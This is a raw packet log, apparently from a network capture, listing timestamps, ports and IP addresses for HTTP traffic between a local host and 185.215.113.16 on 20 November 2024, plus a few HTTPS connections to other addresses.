Nov 20, 2024 01:18:38.473347902 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.473350048 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473366022 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473391056 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.473391056 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473406076 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473421097 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473432064 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.473443985 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473458052 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473459005 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.473493099 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.473494053 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473510027 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473526001 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.473546028 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.477582932 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.477601051 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.477632999 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.494090080 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.494106054 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.494119883 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.494143009 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.494144917 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.494174957 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.494179964 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.494194984 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.494210005 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.494210958 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.494225025 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.494250059 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.505960941 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.507787943 CET	49812	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.507808924 CET	443	49812	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.507822990 CET	49812	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.507833004 CET	443	49812	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.509078026 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.509176970 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.509197950 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.509219885 CET	49813	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.509226084 CET	443	49813	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.513770103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.513796091 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.513809919 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.513818979 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.513847113 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.513891935 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.513917923 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.513935089 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.513957977 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.513958931 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.513973951 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.513994932 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.513997078 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514019966 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514030933 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514034986 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514055967 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514066935 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514070988 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514086008 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514106035 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514106989 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514123917 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514137983 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514147997 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514153004 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514167070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514175892 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514180899 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514195919 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514203072 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514210939 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514230967 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514241934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514255047 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514276981 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514281034 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514292002 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514305115 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514312983 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514328003 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514341116 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514342070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514357090 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514372110 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514381886 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514413118 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514424086 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514437914 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514451981 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514467955 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514475107 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514502048 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514550924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514565945 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514583111 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514595985 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514599085 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514610052 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514631987 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514635086 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514648914 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514662981 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514668941 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514684916 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514694929 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514699936 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514715910 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514739037 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514744043 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514751911 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514765978 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514771938 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514780998 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514796019 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514797926 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514811039 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514830112 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514858007 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514872074 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514887094 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514893055 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514902115 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514921904 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514925003 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514940023 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514961958 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.514961958 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514977932 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.514997959 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.515000105 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515014887 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515028954 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515034914 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.515045881 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515064955 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.515080929 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515095949 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515110970 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515120983 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.515125990 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515132904 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515141010 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515172005 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.515189886 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515203953 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515218973 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515225887 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.515249014 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.515264988 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515279055 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515295982 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515309095 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.515324116 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.515757084 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.519753933 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.519778967 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.519793987 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.519821882 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.519913912 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.519927979 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.519957066 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.519959927 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.519972086 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.519988060 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.519990921 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.520003080 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.520018101 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.520021915 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.520054102 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.520092964 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.520242929 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.520258904 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.520275116 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.520282030 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.520288944 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.520312071 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.531620979 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.531641960 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.532188892 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.532196045 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.535530090 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.535558939 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.535619974 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.535738945 CET	49815	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.535751104 CET	443	49815	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.537344933 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.537369013 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.537416935 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.538763046 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.538799047 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.538852930 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.539021969 CET	49816	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.539041996 CET	443	49816	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.540148973 CET	49817	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.540165901 CET	443	49817	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.541121960 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.541131973 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.541219950 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.541362047 CET	49818	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:38.541373968 CET	443	49818	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:38.552848101 CET	49809	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:18:38.560009956 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560034037 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560070038 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560070992 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.560085058 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560100079 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560108900 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.560113907 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560133934 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560142040 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.560154915 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560164928 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560168028 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.560173035 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560189009 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560200930 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.560204983 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560226917 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.560229063 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560242891 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560257912 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560281992 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.560283899 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560297012 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560314894 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.560318947 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560333967 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560344934 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.560348988 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560364962 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560380936 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.560403109 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.560424089 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.561434031 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.561490059 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.581073999 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.581132889 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.581146955 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.581170082 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.581172943 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.581183910 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.581199884 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.581206083 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.581216097 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.581231117 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.581237078 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.581265926 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.595372915 CET	443	49809	172.202.163.200	192.168.2.5
Nov 20, 2024 01:18:38.600955963 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601006031 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601039886 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601058006 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.601073980 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601124048 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601156950 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601164103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.601207018 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.601207972 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601243973 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601293087 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601310968 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.601358891 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601393938 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601406097 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.601443052 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601510048 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.601510048 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601524115 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601572990 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601573944 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.601608038 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601646900 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601654053 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.601696968 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601730108 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601739883 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.601780891 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601825953 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.601830006 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601881981 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601924896 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.601931095 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601963043 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.601995945 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602010012 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602029085 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602072001 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602077007 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602127075 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602159977 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602181911 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602206945 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602241039 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602250099 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602271080 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602303028 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602323055 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602335930 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602369070 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602401018 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602401018 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602435112 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602447033 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602468014 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602499008 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602531910 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602533102 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602564096 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602576971 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602596998 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602629900 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602647066 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602663040 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602695942 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602705956 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602710962 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602740049 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602766991 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602772951 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602811098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602817059 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602823019 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602857113 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602868080 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602889061 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602921963 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602931976 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602953911 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.602998018 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.602998972 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603032112 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603065014 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603075027 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.603097916 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603142023 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:38.603143930 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:38.603173018 CET	80	49807	185.215.113.16	192.168.2.5
